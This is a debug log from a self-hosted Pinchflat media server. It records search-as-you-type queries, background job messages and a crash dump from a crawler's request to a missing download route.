PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "elija"} 23:03:13.469 [debug] QUERY OK source="media_items" db=0.4ms idle=1340.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:13.469 [debug] QUERY OK source="media_items" db=0.5ms idle=1266.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"elija\""] 23:03:13.470 [debug] QUERY OK source="media_items" db=0.7ms idle=713.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"elija\"", 10, 0] 23:03:13.470 [debug] Replied in 2ms 23:03:14.681 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "elijah"} 23:03:14.682 [debug] QUERY OK source="media_items" db=0.7ms idle=1212.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:14.683 [debug] QUERY OK source="media_items" db=0.5ms idle=1212.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"elijah\""] 23:03:14.684 [debug] QUERY OK source="media_items" db=0.7ms idle=1213.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"elijah\"", 10, 0] 23:03:14.684 [debug] Replied in 3ms 23:03:15.406 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => ""} 23:03:15.406 [debug] QUERY OK source="media_items" db=0.2ms idle=1199.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:15.407 [debug] QUERY OK source="media_items" db=0.4ms idle=724.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:03:15.407 [debug] Replied in 1ms 23:03:19.944 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "e"} 23:03:19.945 [debug] QUERY OK source="media_items" db=0.3ms idle=1880.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:19.946 [debug] QUERY OK source="media_items" db=0.2ms idle=1732.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"e\""] 23:03:19.946 [debug] QUERY OK source="media_items" db=0.3ms idle=881.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"e\"", 10, 0] 23:03:19.946 [debug] Replied in 2ms 23:03:20.590 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "ek"} 23:03:20.590 [debug] QUERY OK source="media_items" db=0.3ms idle=1374.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:20.591 [debug] QUERY OK source="media_items" db=0.3ms idle=645.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"ek\""] 23:03:20.592 [debug] QUERY OK source="media_items" db=0.4ms idle=645.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"ek\"", 10, 0] 23:03:20.592 [debug] Replied in 2ms 23:03:21.438 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "e"} 23:03:21.439 [debug] QUERY OK source="media_items" db=0.3ms idle=848.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:21.439 [debug] QUERY OK source="media_items" db=0.1ms idle=848.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"e\""] 23:03:21.440 [debug] QUERY OK source="media_items" db=0.3ms idle=847.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"e\"", 10, 0] 23:03:21.440 [debug] Replied in 1ms 23:03:21.698 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "el"} 23:03:21.698 [debug] QUERY OK source="media_items" db=0.3ms idle=633.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:21.699 [debug] QUERY OK source="media_items" db=0.2ms idle=478.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"el\""] 23:03:21.699 [debug] QUERY OK source="media_items" db=0.3ms idle=259.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"el\"", 10, 0] 23:03:21.699 [debug] Replied in 1ms 23:03:22.383 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => ""} 23:03:22.383 [debug] QUERY OK source="media_items" db=0.3ms idle=942.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:22.384 [debug] QUERY OK source="media_items" db=0.4ms idle=685.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:03:22.384 [debug] Replied in 1ms 23:03:23.753 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "go"} 23:03:23.754 [debug] QUERY OK source="media_items" db=0.2ms idle=1370.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:23.755 [debug] QUERY OK source="media_items" db=0.2ms idle=1370.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"go\""] 23:03:23.755 [debug] QUERY OK source="media_items" db=0.3ms idle=690.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"go\"", 10, 0] 23:03:23.755 [debug] Replied in 1ms 23:03:24.604 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "gor"} 23:03:24.605 [debug] QUERY OK source="media_items" db=0.3ms idle=1381.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:24.606 [debug] QUERY OK source="media_items" db=0.4ms idle=850.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"gor\""] 23:03:24.606 [debug] QUERY OK source="media_items" db=0.5ms idle=851.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"gor\"", 10, 0] 23:03:24.607 [debug] Replied in 2ms 23:03:25.296 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "gord"} 23:03:25.297 [debug] QUERY OK source="media_items" db=0.2ms idle=692.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:25.306 [debug] QUERY OK source="media_items" db=8.4ms idle=691.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"gord\""] 23:03:25.307 [debug] QUERY OK source="media_items" db=0.7ms idle=699.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"gord\"", 10, 0] 23:03:25.307 [debug] Replied in 10ms 23:03:26.255 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "gordon"} 23:03:26.255 [debug] QUERY OK source="media_items" db=0.2ms idle=1028.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:26.264 [debug] QUERY OK source="media_items" db=8.8ms idle=958.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"gordon\""] 23:03:26.266 [debug] QUERY OK source="media_items" db=1.2ms idle=958.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"gordon\"", 10, 0] 23:03:26.266 [debug] Replied in 11ms 23:03:28.595 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => ""} 23:03:28.596 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=1365.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:28.596 [debug] QUERY OK source="media_items" db=0.4ms idle=531.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:03:28.597 [debug] Replied in 1ms 23:03:29.007 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:29.665 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "el"} 23:03:29.666 [debug] QUERY OK source="media_items" db=0.5ms idle=1432.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:29.667 [debug] QUERY OK source="media_items" db=0.3ms idle=1070.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"el\""] 23:03:29.667 [debug] QUERY OK source="media_items" db=0.5ms idle=1070.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"el\"", 10, 0] 23:03:29.668 [debug] Replied in 3ms 23:03:30.636 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => ""} 23:03:30.637 [debug] QUERY OK source="media_items" db=0.7ms idle=970.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:30.638 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=970.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:03:30.638 [debug] Replied in 2ms 23:03:59.009 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.704 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:18.699 [info] GET /sources/1/media/75/force_download 23:04:18.700 [debug] QUERY OK source="settings" db=0.2ms idle=635.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:04:18.700 [debug] QUERY OK source="settings" db=0.1ms idle=636.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:04:18.701 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:04:18.702 [error] #PID<0.5251.0> running PinchflatWeb.Endpoint (connection #PID<0.5250.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/75/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/75/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5250.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/75/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49756}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/75", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5251.0>, params: %{}, path_info: ["sources", "1", "media", "75", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/75"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/75/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiSYxhAEcq-XcAAYsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5250.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/75/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49756}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/75", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/75/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5250.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/75/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49756}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/75", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5251.0>, params: %{}, path_info: ["sources", "1", "media", "75", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:04:29.012 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:59.014 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.706 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:17.896 [info] GET / 23:05:17.896 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:05:17.897 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1832.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:17.898 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1833.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:05:17.898 [debug] QUERY OK source="sources" db=0.0ms idle=1833.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:05:17.898 [debug] QUERY OK source="media_items" db=0.1ms idle=1459.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:05:17.898 [debug] QUERY OK source="media_items" db=0.1ms idle=458.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:05:17.899 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:17.899 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:17.900 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:17.901 [debug] QUERY OK source="tasks" db=0.3ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:05:17.902 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:05:17.903 [debug] QUERY OK source="media_items" db=0.5ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:05:17.904 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:05:17.907 [debug] QUERY OK source="media_items" db=0.3ms idle=7.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" 